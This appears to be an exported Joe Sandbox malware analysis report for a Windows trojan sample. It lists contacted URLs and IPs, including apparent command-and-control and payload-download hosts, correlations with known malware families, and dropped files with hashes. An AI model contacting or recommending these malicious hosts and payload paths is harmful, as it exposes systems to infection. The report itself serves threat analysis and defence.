https://softs-portal.com/	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar	vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.spaceblue.com	SciTE.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar0	vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
http://www.baanboard.com	SciTE.exe.1.dr	false	Avira URL Cloud: safe	unknown
https://db-ip.com/https://ipgeolocation.io/https://www.maxmind.com/en/locate-my-ip-addresstype	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	false	Avira URL Cloud: safe	unknown
http://www.develop.comDeepak	SciTE.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rar&	vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://telegram.org/file/400780400431/1/-u0XrknOtfw.232636/60f98efd626b95d010	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp, 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048753029.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarras	vXQpuA.exe, 00000001.00000002.2257628282.0000000000CCE000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://core.telegram.org/api	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048753029.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.rftp.comJosiah	SciTE.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://212.193.30.29/server.txt	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://www.activestate.com	SciTE.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://%s:%d/%s/%sZwQuerySystemInformationntdll.dllNtSystemDebugControlSeDebugPrivilege%s%.8x.bat:DE	vXQpuA.exe, 00000001.00000002.2257362941.0000000000613000.00000002.00000001.01000000.00000004.sdmp, vXQpuA.exe, 00000001.00000003.2034288446.0000000000A40000.00000004.00001000.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://212.193.30.21/service/communication.phpk_	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000D06000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://upx.sf.net	Amcache.hve.5.dr	false	URL Reputation: safe	unknown
http://www.rftp.com	SciTE.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://212.193.30.21/hp0	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarI	vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://www.spaceblue.comMathias	SciTE.exe.1.dr	false	Avira URL Cloud: safe	unknown
https://www.smartsharesystems.com/Morten	SciTE.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://212.193.30.21/service/communication.php0	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://crl.m	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048824800.0000000000C7C000.00000004.00000020.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
https://telegram.org/J	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C1E000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://ipinfo.io/	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	false	URL Reputation: safe	unknown
http://www.lua.org	SciTE.exe.1.dr	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rarW	vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
https://pastebin.com/~	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.maxmind.com/en/locate-my-ip-address	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net/	vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: phishing	unknown
http://212.193.30.21/service/communication.php	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp, 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C47000.00000004.00000020.00020000.00000000.sdmp, 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000CCF000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://telegram.org:443/P7	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://212.193.30.21/service/communication.php$	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000002.3286736589.0000000000C5B000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://ddos.dnsnb8.net:799/cj//k1.rare	vXQpuA.exe, 00000001.00000002.2257628282.0000000000D43000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://telegram.org/file/400780400026/1/xwmW8Qofk5M.263566/16218cb12e7549e76b	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe, 00000000.00000003.2048753029.0000000000CB1000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
212.193.30.21	unknown	Russian Federation	57844	SPD-NETTR	false
104.20.4.235	pastebin.com	United States	13335	CLOUDFLARENETUS	true
212.193.30.45	unknown	Russian Federation	57844	SPD-NETTR	false
172.67.133.215	wfsdragon.ru	United States	13335	CLOUDFLARENETUS	false
212.193.30.29	unknown	Russian Federation	57844	SPD-NETTR	false
149.154.167.99	telegram.org	United Kingdom	62041	TELEGRAMRU	false

General Information

Joe Sandbox version:	40.0.0 Tourmaline
Analysis ID:	1480302
Start date and time:	2024-07-24 17:25:59 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 17s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	10
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe
Detection:	MAL
Classification:	mal100.spre.troj.evad.winEXE@4/9@7/6
EGA Information:	Successful, ratio: 100%
HCA Information:	Successful, ratio: 100% Number of executed functions: 21 Number of non-executed functions: 89
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WerFault.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 104.208.16.94
Excluded domains from analysis (whitelisted): ocsp.digicert.com, login.live.com, slscr.update.microsoft.com, blobcollector.events.data.trafficmanager.net, ctldl.windowsupdate.com, umwatson.events.data.microsoft.com, fe3cr.delivery.mp.microsoft.com, onedsblobprdcus16.centralus.cloudapp.azure.com
Report size getting too big, too many NtOpenFile calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtQueryValueKey calls found.
VT rate limit hit for: 611479C78035C912DD69E3CFDADBF74649BB1FCE6241B7573CFB0C7A2FC2FB2F.exe

Simulations

Behavior and APIs

Time	Type	Description
11:27:12	API Interceptor	1x Sleep call for process: WerFault.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
212.193.30.21	HogKe2gnNF.exe	Get hash	malicious	CryptOne, PrivateLoader, SmokeLoader	Browse	212.193.30.21/service/communication.php
	bLvAFQEQFB.exe	Get hash	malicious	CryptOne, SmokeLoader	Browse	212.193.30.21/base/api/getData.php
	File.exe	Get hash	malicious	RedLine	Browse	212.193.30.21/base/api/getData.php
	N0kodnmVTc.exe	Get hash	malicious	PrivateLoader, RedLine	Browse	212.193.30.21/base/api/getData.php
	File.exe	Get hash	malicious	RedLine	Browse	212.193.30.21/base/api/getData.php
	7D9E22E88F7B5ABF22553DFC438D8F40E17C33E8FC9FB.exe	Get hash	malicious	Unknown	Browse	212.193.30.21/base/api/getData.php
	ckc238HATk.exe	Get hash	malicious	Unknown	Browse	212.193.30.21/base/api/statistics.php
	ckc238HATk.exe	Get hash	malicious	Unknown	Browse	212.193.30.21/base/api/statistics.php
	TjDCLiM89x.exe	Get hash	malicious	RedLine	Browse	212.193.30.21/base/api/getData.php
	7nSmJgc4Js.exe	Get hash	malicious	Unknown	Browse	212.193.30.21/base/api/getData.php
104.20.4.235	envifa.vbs	Get hash	malicious	Remcos	Browse	pastebin.com/raw/V9y5Q5vv
	New Voicemail Invoice 64746w .js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Invoice Payment N8977823.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_XLSX.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Pending_Invoice_Bank_Details_kofce_.JS.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
	Update on Payment.js	Get hash	malicious	WSHRAT	Browse	pastebin.com/raw/NsQ5qTHr
212.193.30.45	5DCF34F35A1874D190C81C7197785C4F4F9305842918F.exe	Get hash	malicious	Unknown	Browse	212.193.30.45/proxies.txt
	File.exe	Get hash	malicious	DBatLoader	Browse	212.193.30.45/proxies.txt
	windows_update.exe	Get hash	malicious	DBatLoader	Browse	212.193.30.45/proxies.txt
	File.exe	Get hash	malicious	Unknown	Browse	212.193.30.45/proxies.txt
	o1dXxyQmEx.exe	Get hash	malicious	CryptOne, SmokeLoader	Browse	212.193.30.45/proxies.txt
	h9DGdo7AvB.exe	Get hash	malicious	Unknown	Browse	212.193.30.45/proxies.txt
	File.exe	Get hash	malicious	PrivateLoader	Browse	212.193.30.45/proxies.txt
	HogKe2gnNF.exe	Get hash	malicious	CryptOne, PrivateLoader, SmokeLoader	Browse	212.193.30.45/proxies.txt
	bLvAFQEQFB.exe	Get hash	malicious	CryptOne, SmokeLoader	Browse	212.193.30.45/US/PSD_Cover300us.exe
	File.exe	Get hash	malicious	RedLine	Browse	212.193.30.45/proxies.txt

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
pastebin.com	25C1.exe	Get hash	malicious	Glupteba, Xmrig	Browse	104.20.3.235
	88YW43jlqt.exe	Get hash	malicious	DCRat	Browse	172.67.19.24
	installer.exe	Get hash	malicious	LummaC, PureLog Stealer, Xmrig, zgRAT	Browse	104.20.3.235
	aabJ5lAG3l.doc	Get hash	malicious	Unknown	Browse	104.20.3.235
	updater.exe	Get hash	malicious	Xmrig	Browse	104.20.4.235
	DeqcE30sLb.exe	Get hash	malicious	DCRat	Browse	172.67.19.24
	Mx0UGSI897.exe	Get hash	malicious	DCRat	Browse	104.20.3.235
	eE1xnwas4F.exe	Get hash	malicious	LummaC	Browse	104.20.3.235
	conhost.exe	Get hash	malicious	Xmrig	Browse	104.20.3.235
	SecuriteInfo.com.Win64.Evo-gen.29709.21053.exe	Get hash	malicious	Unknown	Browse	104.20.3.235
wfsdragon.ru	Trojan-Spy.Win32.Stealer.aawf-427b5d1b32a8e17.exe	Get hash	malicious	Backstage Stealer, FFDroider, Glupteba, Metasploit, PrivateLoader, Raccoon Stealer v2, RedLine	Browse	104.21.5.208
	Trojan.Win32.Agentb.krec-5c97c35e6537283493bb.exe	Get hash	malicious	Fabookie, PrivateLoader, Raccoon Stealer v2, RedLine, SmokeLoader, Vidar	Browse	172.67.133.215
	HEUR-Trojan.Win32.Chapak.gen-774ae4107d461361.exe	Get hash	malicious	Amadey, Fabookie, Nymaim, PrivateLoader, RedLine, SmokeLoader, Tofsee	Browse	172.67.133.215
	66BF743BABAD7405D2426B25BF8D1BB493F6D9048B55E.exe	Get hash	malicious	Raccoon Stealer v2, RedLine, SmokeLoader, Socelars, onlyLogger	Browse	172.67.133.215
	HEUR-Trojan.Win32.Bsymem.gen-493aea7196b43b77.exe	Get hash	malicious	Amadey, Nymaim, PrivateLoader, RedLine, SmokeLoader	Browse	104.21.5.208
	273F433BA1CEBFAD830E52490A04CA744351FC4624928.exe	Get hash	malicious	PrivateLoader, RedLine, Socelars	Browse	172.67.133.215
	HEUR-Trojan.Win32.Chapak.gen-c82a55fdd3caeb95.exe	Get hash	malicious	Amadey, Fabookie, Nymaim, PrivateLoader, Raccoon Stealer v2, RedLine, SmokeLoader	Browse	172.67.133.215
	009206D0BB95A4DBEF8A24AD9D75434E0DC86CAABA9F0.exe	Get hash	malicious	Nymaim, PrivateLoader, RedLine, Vidar, Xmrig, onlyLogger	Browse	104.21.5.208
	DC812FA1AE68DFA017CFDE268E2AE523019308B102BCE.exe	Get hash	malicious	PrivateLoader, Raccoon Stealer v2, RedLine, SmokeLoader, Vidar, zgRAT	Browse	172.67.133.215
	DAD9E695E9F592E48326DD349556F81987C115AD152BF.exe	Get hash	malicious	Fabookie, PrivateLoader, Raccoon Stealer v2, RedLine, SmokeLoader, Vidar, zgRAT	Browse	104.21.5.208
telegram.org	rPO0977-6745.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	z23RevisedInvoice.exe	Get hash	malicious	DarkCloud, PureLog Stealer	Browse	149.154.167.220
	Updated PI.exe	Get hash	malicious	AgentTesla, RedLine	Browse	149.154.167.220
	rcrypt.exe	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	231210-06-AgentTesla-9da180.exe	Get hash	malicious	AgentTesla	Browse	149.154.167.220
	SecuriteInfo.com.Exploit.CVE-2018-0798.4.16578.20925.rtf	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Purchase Order POT-247110.scr.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	Purchase Order.exe	Get hash	malicious	DarkTortilla, Snake Keylogger	Browse	149.154.167.220
	List & Sample_Doc3.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Confirmation transfer Copy AGS # 24-00379.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
SPD-NETTR	wO2hW34tnC.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	45.158.226.175
	pVwXSHLriO.elf	Get hash	malicious	Mirai, Moobot	Browse	45.67.86.157
	na.elf	Get hash	malicious	Mirai	Browse	185.118.141.106
	nigga.sh	Get hash	malicious	Mirai	Browse	45.12.96.123
	rc2G4fAIY4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.81.142.31
	QzNtWxCnZh.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.81.142.31
	dqVusfiLPV.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.81.142.31
	SecuriteInfo.com.Linux.Siggen.9999.6736.22177.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.81.142.31
	SecuriteInfo.com.Trojan.GenericKD.65594079.25944.10510.exe	Get hash	malicious	AgentTesla, RHADAMANTHYS	Browse	212.193.30.32
	tyG9Ou5NOn.exe	Get hash	malicious	Unknown	Browse	185.72.8.185
CLOUDFLARENETUS	https://forms.office.com/r/MbTXnrrxDY	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	5A1FB27924AB99541F08D3A46321B88FA4CE52A2346EBD92DC8DA423C907CDE3.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	http://pub-18c0b230f8f2453bbc80499dbfd675b4.r2.dev	Get hash	malicious	Unknown	Browse	104.17.247.203
	Millich Law.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://mfgvendor.feeco.com:8081/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://mfgvendor.feeco.com:8081/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://rb.gy/ExNW8Q	Get hash	malicious	Unknown	Browse	188.114.96.3
	securedoc_20240724T165428.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.17.25.14
	http://redapplelaw.redappledigitalsolutions.com/auth/register	Get hash	malicious	Unknown	Browse	104.26.1.216
	http://link.mail.beehiiv.com/ss/c/u001.6C5fb2jgNhK_7sih4vM3VdXQvrvE9q5c82BetVgY4Tn_3vzvYophOo2JT7xoV-WSpIvcZOkxKRXavgDLqT8WDs81Kxwhn4ndaTj0SIW8pbE34PI3c8z85y8KF4b-3ctNBArb85FAtL-FvZ40umZH9aQETjMP7rTEiG1euALUwnOXxEOVey2ATbLesbQR6xxXmVQHnmd4pAMEpmvli0DXS3xWhmye0azQAc3gRlzrGWVUMzqfQog2yJQHz6Mdmf6a4nCgejh2JKgdwU-dC7d7RpcWEcgULfqQmicxg_xKRYc1aJrR3j1E3jT9fZxZO7WhDsQCbeMl8Mpj69s5RbxkO_huRS08Z3pfl78-scr41jA/47y/YxEtkvUcQDyArHo9NWTE1A/h6/h001.EMfOFVR5jhkE5RSbP1E9Z3FDv6QlJukJxLDJqd6igsM#DB87@OFSOPTICS.COM	Get hash	malicious	HTMLPhisher	Browse	104.18.69.40
SPD-NETTR	wO2hW34tnC.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	45.158.226.175
	pVwXSHLriO.elf	Get hash	malicious	Mirai, Moobot	Browse	45.67.86.157
	na.elf	Get hash	malicious	Mirai	Browse	185.118.141.106
	nigga.sh	Get hash	malicious	Mirai	Browse	45.12.96.123
	rc2G4fAIY4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.81.142.31
	QzNtWxCnZh.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.81.142.31
	dqVusfiLPV.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.81.142.31
	SecuriteInfo.com.Linux.Siggen.9999.6736.22177.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.81.142.31
	SecuriteInfo.com.Trojan.GenericKD.65594079.25944.10510.exe	Get hash	malicious	AgentTesla, RHADAMANTHYS	Browse	212.193.30.32
	tyG9Ou5NOn.exe	Get hash	malicious	Unknown	Browse	185.72.8.185
CLOUDFLARENETUS	https://forms.office.com/r/MbTXnrrxDY	Get hash	malicious	HTMLPhisher	Browse	104.17.24.14
	5A1FB27924AB99541F08D3A46321B88FA4CE52A2346EBD92DC8DA423C907CDE3.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse	188.114.96.3
	http://pub-18c0b230f8f2453bbc80499dbfd675b4.r2.dev	Get hash	malicious	Unknown	Browse	104.17.247.203
	Millich Law.pdf	Get hash	malicious	HTMLPhisher	Browse	104.18.95.41
	https://mfgvendor.feeco.com:8081/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://mfgvendor.feeco.com:8081/	Get hash	malicious	Unknown	Browse	104.17.25.14
	https://rb.gy/ExNW8Q	Get hash	malicious	Unknown	Browse	188.114.96.3
	securedoc_20240724T165428.html	Get hash	malicious	HTMLPhisher, Tycoon2FA	Browse	104.17.25.14
	http://redapplelaw.redappledigitalsolutions.com/auth/register	Get hash	malicious	Unknown	Browse	104.26.1.216
	http://link.mail.beehiiv.com/ss/c/u001.6C5fb2jgNhK_7sih4vM3VdXQvrvE9q5c82BetVgY4Tn_3vzvYophOo2JT7xoV-WSpIvcZOkxKRXavgDLqT8WDs81Kxwhn4ndaTj0SIW8pbE34PI3c8z85y8KF4b-3ctNBArb85FAtL-FvZ40umZH9aQETjMP7rTEiG1euALUwnOXxEOVey2ATbLesbQR6xxXmVQHnmd4pAMEpmvli0DXS3xWhmye0azQAc3gRlzrGWVUMzqfQog2yJQHz6Mdmf6a4nCgejh2JKgdwU-dC7d7RpcWEcgULfqQmicxg_xKRYc1aJrR3j1E3jT9fZxZO7WhDsQCbeMl8Mpj69s5RbxkO_huRS08Z3pfl78-scr41jA/47y/YxEtkvUcQDyArHo9NWTE1A/h6/h001.EMfOFVR5jhkE5RSbP1E9Z3FDv6QlJukJxLDJqd6igsM#DB87@OFSOPTICS.COM	Get hash	malicious	HTMLPhisher	Browse	104.18.69.40
SPD-NETTR	wO2hW34tnC.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse	45.158.226.175
	pVwXSHLriO.elf	Get hash	malicious	Mirai, Moobot	Browse	45.67.86.157
	na.elf	Get hash	malicious	Mirai	Browse	185.118.141.106
	nigga.sh	Get hash	malicious	Mirai	Browse	45.12.96.123
	rc2G4fAIY4.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.81.142.31
	QzNtWxCnZh.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.81.142.31
	dqVusfiLPV.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.81.142.31
	SecuriteInfo.com.Linux.Siggen.9999.6736.22177.elf	Get hash	malicious	Gafgyt, Mirai	Browse	45.81.142.31
	SecuriteInfo.com.Trojan.GenericKD.65594079.25944.10510.exe	Get hash	malicious	AgentTesla, RHADAMANTHYS	Browse	212.193.30.32
	tyG9Ou5NOn.exe	Get hash	malicious	Unknown	Browse	185.72.8.185

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
a0e9f5d64349fb13191bc781f81f42e1	qGJBgGtR7e.exe	Get hash	malicious	Gh0stCringe, GhostRat, Mimikatz, RunningRAT	Browse	149.154.167.99 104.20.4.235
	VaajyQsbTV.exe	Get hash	malicious	GhostRat, Nitol	Browse	149.154.167.99 104.20.4.235
	PXTCFXKM.exe	Get hash	malicious	LummaC	Browse	149.154.167.99 104.20.4.235
	RQTMGXIK.msi	Get hash	malicious	LummaC	Browse	149.154.167.99 104.20.4.235
	szw3yovpYg.exe	Get hash	malicious	Unknown	Browse	149.154.167.99 104.20.4.235
	Snort_2_9_20_Installer.x64.exe	Get hash	malicious	LummaC	Browse	149.154.167.99 104.20.4.235
	BXMWTJmc5L.exe	Get hash	malicious	Unknown	Browse	149.154.167.99 104.20.4.235
	Gw47LwivS6.exe	Get hash	malicious	Unknown	Browse	149.154.167.99 104.20.4.235
	M7RrbN4DTk.exe	Get hash	malicious	Remcos, DBatLoader	Browse	149.154.167.99 104.20.4.235
	1a14cfb6dc3766a34333fa7bbc8b1e912302ce0e550809266dd3f763fb719ed6.exe	Get hash	malicious	Bdaejec	Browse	149.154.167.99 104.20.4.235

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Temp\vXQpuA.exe	5A1FB27924AB99541F08D3A46321B88FA4CE52A2346EBD92DC8DA423C907CDE3.exe	Get hash	malicious	Babuk, Bdaejec, Djvu	Browse
	5AECB2A5BC5447DC736C29882193FEF4F2B007299A1817C664E1BA6A028363CF.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse
	58BB54DE7A3ED504F85202B0CD55AC2DA9FC821B5695AA854703F885CD80B044.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse
	5673773206126F12F4692E91C084B927357D9CF5FA3D5C312D89C9942B5C90FE.exe	Get hash	malicious	Bdaejec, RedLine	Browse
	56586BDA88E32BE6A2AE5BA59A06127DC382CA0D5619DFDFE0DD0353EE4877AB.exe	Get hash	malicious	Bdaejec, RedLine	Browse
	54E3EE54FAC434E25C03DED56A4680F1EA40A245D657440AC9C51BE7F27EF656.exe	Get hash	malicious	Bdaejec, SmokeLoader	Browse
	55282E8B63997F62AF3DD4B9D40CACB30A72D8DB1597D3F53057839CF7335750.exe	Get hash	malicious	Bdaejec, RedLine	Browse
	550F.exe	Get hash	malicious	Bdaejec	Browse
	4FE08CC381F8F4EA6E3D8E34FDDF094193CCBBCC1CAE7217F0233893B9C566A2.exe	Get hash	malicious	Babadeda, Bdaejec	Browse
	537C7A26CE5E39643B98D9C078A14D5E955F0FCCF49073D05B1F8E3294636B41.exe	Get hash	malicious	Bdaejec	Browse

Created / dropped Files

C:\Program Files (x86)\AutoIt3\Examples\Helpfile\Extras\MyProg.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\vXQpuA.exe
File Type:	MS-DOS executable PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	19456
Entropy (8bit):	6.5907204196107125
Encrypted:	false
SSDEEP:	384:1FSSpXZQaD7U8iu4YsAa7ZA0UvH2lsRv21yW7GbAxur6+Y9PffPz:znQGPL4vzZq2o9W7GsxBbPr
MD5:	572AA6C32C5BFD19EB6D8E31FBEB4061
SHA1:	61805C83DB4EF745674A4822B8EE4D8FBA445595
SHA-256:	E8E371987EE3C41D86716DE7768DBA5849E8D25C3A1E04F9F25D1C8E964A4F78
SHA-512:	A672D36A1D6432DE8D1F4092A2751D64C4C19EEA0787E2FA526E43375930C6EC1B9AE8D748F1A86F8EA742A21114FE65C7756B4BACDF2DF82FD7BC74EADA5168
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ..........................................................@...PE..L....................................0............................................................................................... ..l...........................................................................................................PELIB...............................`....rsrc........ ......................@..@..Y\|.uR..P...0...B.................. ...................................................................................j.h"...h....j...(....Hello World!.MyProg........................................................................................................................................................................................................................(...........0...(.......................;.......User32.dll...MessageBoxA................................................................................................dummy.exe.....................TestExport.CallPlz................

C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\vXQpuA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	2389504
Entropy (8bit):	6.731351098671059
Encrypted:	false
SSDEEP:	49152:BGSXoV72tpV9XE8Wwi1aCvYMdRluS/fYw44RxL:V4OEtwiICvYMpf
MD5:	B93A7469EAF49752A9909402F9211F1C
SHA1:	D91FB0E3E3A0C856BF57824D28478CB3797C34A5
SHA-256:	A7F82F88671D992F6C8BE764D1C3301A9C274036E76FD84FC712B833E6CAE7C7
SHA-512:	422B9FE42EB307C67C72D2048CE4CED1DD129C92FFAD563B24EF521E2D1DA7F0D802708D814DB9A1110578C4860C341EE34DC2D6714EB79C5B5463D1237281A3
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$...........Ark.Ark.Ark...o.Mrk...h.Jrk...n.^rk...j.Erk.H...Brk.H...nrk.Arj..pk...b.rk...k.@rk.....@rk...i.@rk.RichArk.........................PE..L.....(c.....................~.......p$...........@...........................$...........@.........................p...<............@ ......................P#.....@...p...................P...........@............................................text...e........................... ..`.rdata...^.......`..................@..@.data...`....0......................@....rsrc........@ ....... .............@..@.reloc.......P#......"#.............@..B.....u...P...p$..B...4$............. ...........................................................................................................................................................................................................................................................

C:\Program Files\7-Zip\Uninstall.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\vXQpuA.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	31744
